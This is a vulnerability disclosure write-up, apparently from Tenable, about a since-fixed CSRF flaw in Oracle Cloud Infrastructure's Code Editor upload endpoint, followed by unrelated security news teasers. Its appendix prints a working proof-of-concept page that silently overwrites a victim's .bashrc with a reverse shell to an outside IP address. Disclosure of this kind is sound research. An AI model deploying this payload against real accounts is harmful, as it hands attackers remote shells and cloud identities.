Tenable Research discovered a Remote Code Execution (RCE) vulnerability (now remediated) in Oracle Cloud Infrastructure (OCI) Code Editor. We demonstrated how an attacker could silently 1-click hijack a victim’s Cloud Shell environment and potentially pivot across OCI services. The vulnerability also affected Code Editor’s integrated services such as Resource Manager, Functions and Data Science.
BackgroundOracle Code Editor is a lightweight, browser-based integrated development environment (IDE) in Oracle Cloud Infrastructure. Integrated with core OCI developer services such as Resource Manager, Functions and Data Science, it leverages the Cloud Shell environment behind the scenes. This means any code changes or file operations in Code Editor directly interact with the same underlying file system and user session used by Cloud Shell, creating a tightly coupled integration that shares authentication, file access and runtime context. Code Editor can be launched from anywhere within the OCI console, supported services and Cloud Shell.
Code Editor is often treated by researchers and users as a sandboxed, isolated space, but its deep interface with Resource Manager, Functions and Data Science suggests otherwise. Our intuition was simple: if a developer can upload files easily, can an attacker?
That single question led us to conduct a deeper inspection of how files are routed and authenticated between the browser and the Cloud Shell’s file system.
Source: Tenable Cloud Research, July 2025 Technical detailsWhen integrations conceal the real threatOur research began, as it often does, with a simple goal: explore Oracle Cloud Infrastructure’s Cloud Shell to better understand its security posture. Cloud Shell provides users with a command-line environment directly in the browser, with access to the OCI Command Line Interface (CLI) and an ephemeral file system. As we traced the surface of Cloud Shell and its file upload mechanism, everything appeared well-locked and scoped.
But in cloud ecosystems, the danger isn’t always in what you see, it's often in what's quietly integrated behind the scenes.
During our research, we noticed something that stood out: the Code Editor appeared to use the same underlying file system as Cloud Shell. The two services shared the same session context and, most importantly, access to the same files.
This tight coupling is by design: Code Editor offers a layer on top of Cloud Shell, allowing developers to work seamlessly with the terminal and have an IDE-style experience. Francisco J. Alvarez Rabanal, Cloud Platform Solution Architect at Oracle, showed the functionality in a LinkedIn post when the capability was announced in 2022 (see screenshot below):
Source: https://www.linkedin.com/pulse/code-editor-perfect-oci-cloud-shell-companion-alvarez-rabanal/At first, the file upload mechanism in Cloud Shell itself seemed secure. It handled files responsibly and did not expose anything unusual. But when we shifted our focus to the Code Editor, we found a subtle difference: an upload endpoint that behaved differently, revealing our discovery.
Unlike Cloud Shell’s upload process, Code Editor exposed a /file-upload endpoint that lacked Cross-Site Request Forgery (CSRF) defenses. This misalignment opened the door to remote file manipulation via crafted cross-site requests. The integration of Cloud Shell with the browser-based Code Editor introduced a new attack surface, a hidden, less-defended door into the same environment.
This realization is a critical lesson in modern cloud security research: integrations aren't just conveniences, they're potential points for vulnerabilities.
Discovery: The router that talks too muchAt the heart of this vulnerability lies a critical component: the Cloud Shell router (router.cloudshell.us-ashburn-1.oci.oraclecloud.com). This router is exposed when Code Editor is being used, and is responsible for uploading and downloading files within the Code Editor’s file system.
We discovered that the router accepts HTTP POST requests containing multipart/form-data payloads, a typical setup for file uploads. What raised a red flag was the presence of the CS-ProxyChallenge cookie, which is used for authentication, but configured with a SameSite=None attribute.
For context, modern browsers use the SameSite cookie attribute to prevent CSRF attacks. The value None offers no protection against cross-site requests, meaning any website could trigger this endpoint on behalf of the user so long as they’re authenticated.
This configuration created a perfect storm:
In essence: an attacker could create a webpage that, when visited by an authenticated Oracle Cloud Infrastructure user, would upload a malicious file to their Cloud Editor without their knowledge.
Since Code Editor uses Cloud Shell’s file system behind the scenes, the file uploaded will be uploaded to the victim’s Cloud Shell.
Exploitation Path: From CSRF to RCEWe designed a Proof of Concept (PoC) that mimicked a real-world exploit scenario:
Here’s an example of the HTTP request used to upload a file and essentially perform the attack:
POST /file-upload HTTP/1.1 Host: router.cloudshell.us-ashburn-1.oci.oraclecloud.com Cookie: CS-ProxyChallenge=<base64_cookie> Content-Type: multipart/form-data; boundary=----randomboundary ... Content-Disposition: form-data; name="uri" file:///home/username/.bashrc ... Content-Disposition: form-data; name="file"; filename=".bashrc" Content-Type: text/plain <malicious shell code>Our payload overrode .bashrc to establish a reverse shell. (The POC code can be found in Appendix A at the end of this blog.) From there, we could access Cloud Shell interactively, execute commands, and, crucially, leverage the victim’s Oracle Cloud Identity to move laterally using the OCI CLI.
Bonus exploitation: Beyond Cloud Shell – Code Editor’s integrated services were at riskWhile the initial exploitation vector targets Cloud Shell, the implications extend further. Because Code Editor operates on the same shared Cloud Shell file system, any malicious payload uploaded via the vulnerable /file-upload endpoint is immediately accessible within the editor’s context. This creates a chain reaction: attackers can also tamper with files used by Resource Manager, Functions or Data Science services, all of which rely on this shared environment. For instance, injecting malicious code into a deployed Function or modifying the Resource Manager workspace can lead to broader compromise across OCI services. In essence, what begins as a simple CSRF exploit targeting file uploads on Cloud Shell quickly escalates into a multi-surface threat, compromising not just the shell, but the full suite of developer tools around it.
Vendor responseIn response to this discovery, Oracle Cloud Infrastructure addressed the vulnerability by implementing an additional layer of protection in the form of a required custom HTTP header. Specifically, all relevant requests must now include a header named x-csrf-token with the value csrf-value. This change enforces CSRF protection by ensuring that only authorized, properly formed requests generated from within the authenticated Oracle Cloud environment are accepted by the server. Without this header, requests are rejected, effectively mitigating the previously exploitable behavior.
This change defends against CSRF attacks because browsers, by default, do not allow JavaScript in one origin to set arbitrary custom headers when making cross-origin requests — unless the target server explicitly enables it via CORS. Since the x-csrf-token header is not automatically included by browsers during normal cross-origin requests, and cannot be added by different origins without proper CORS configuration, this requirement effectively blocks unauthorized requests from being accepted.
Appendix APOC code:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>TCS Research POC</title> <script> function submitForm() { var xhr = new XMLHttpRequest(); var boundary = "random"; var url = "https://router.cloudshell.us-ashburn-1.oci.oraclecloud.com/file-upload"; var fileData = `# .bashrc # Source global definitions if [ -f /etc/bashrc ]; then . /etc/bashrc fi # Uncomment the following line if you don't like systemctl's auto-paging feature: # export SYSTEMD_PAGER= # User specific aliases and functions source /etc/bashrc.cloudshell bash -i >& /dev/tcp/34.46.192.239/4040 0>&1`; var fileName = "refxss.html"; var nameVar = "file"; var filePath = "file:///home/lmatan/.bashrc"; var boundaryPrefix = "----webkitformboundary"; var body = "--" + boundaryPrefix + boundary + "\r\n"; body += 'Content-Disposition: form-data; name="uri"\r\n\r\n'; body += filePath + "\r\n"; body += "--" + boundaryPrefix + boundary + "\r\n"; body += 'Content-Disposition: form-data; name="' + nameVar + '"; filename="' + fileName + '"\r\n'; body += "Content-Type: text/html\r\n\r\n"; body += fileData + "\r\n"; body += "--" + boundaryPrefix + boundary + "--\r\n"; var blob = new Blob([body], { type: "multipart/form-data; boundary=" + boundaryPrefix + boundary }); xhr.open("POST", url, true); xhr.withCredentials = true; xhr.send(blob); } window.onload = submitForm; </script> </head> <body> <h1>TCS Research RCE POC</h1> <p>...</p> </body> </html>Security researchers at Atredis have uncovered multiple privilege escalation vulnerabilities in Lenovo Vantage, a pre-installed management platform on Lenovo laptops that handles device updates, configurations, and system health monitoring. These flaws, tracked under CVEs 2025-6230, 2025-6231, and 2025-6232, allow unprivileged users to bypass authentication mechanisms and execute code with SYSTEM-level privileges, potentially leading to full […]
The post Lenovo Vantage Flaws Enable Attackers to Gain SYSTEM-Level Privileges appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.
Immersive announced its Immersive One AI-powered Lab Builder feature to give customers and partners new ways to improve cyber skills across teams through customized labs and learning experiences. With this new tool supporting Immersive’s Prove, Improve, Benchmark, and Report (PIBR) approach, cyber leaders will be able to create hands-on exercises and simulations for their technical workforce, including offensive, defensive, and secure-coding-based simulations to improve readiness against real-world threats. With the majority of cyber attacks involving … More →
The post Immersive unveils role-specific cybersecurity capabilities appeared first on Help Net Security.
In a major blow to pro-Russian cybercrime, authorities across Europe and the United States launched a sweeping international crackdown on the hacking group NoName057(16) between 14 and 17 July. The coordinated operation, codenamed Eastwood and led by Europol and Eurojust, targeted the group’s members and infrastructure. Law enforcement and judicial authorities from Czechia, France, Finland, Germany, Italy, Lithuania, Poland, Spain, Sweden, Switzerland, the Netherlands, and the United States took part in the simultaneous actions. The … More →
The post Global crackdown hits pro-Russian cybercrime, 100+ systems taken down worldwide appeared first on Help Net Security.
Security researchers have uncovered a critical chain of vulnerabilities in Samsung’s WEA453e wireless access point that allows unauthenticated remote attackers to execute commands with full administrative privileges. The flaws, discovered in August 2020, demonstrate how seemingly minor web interface oversights can cascade into complete system compromise. The vulnerability chain begins with a reflected cross-site scripting […]
The post Samsung WLAN AP Flaws Let Remote Attackers Run Commands as Root appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.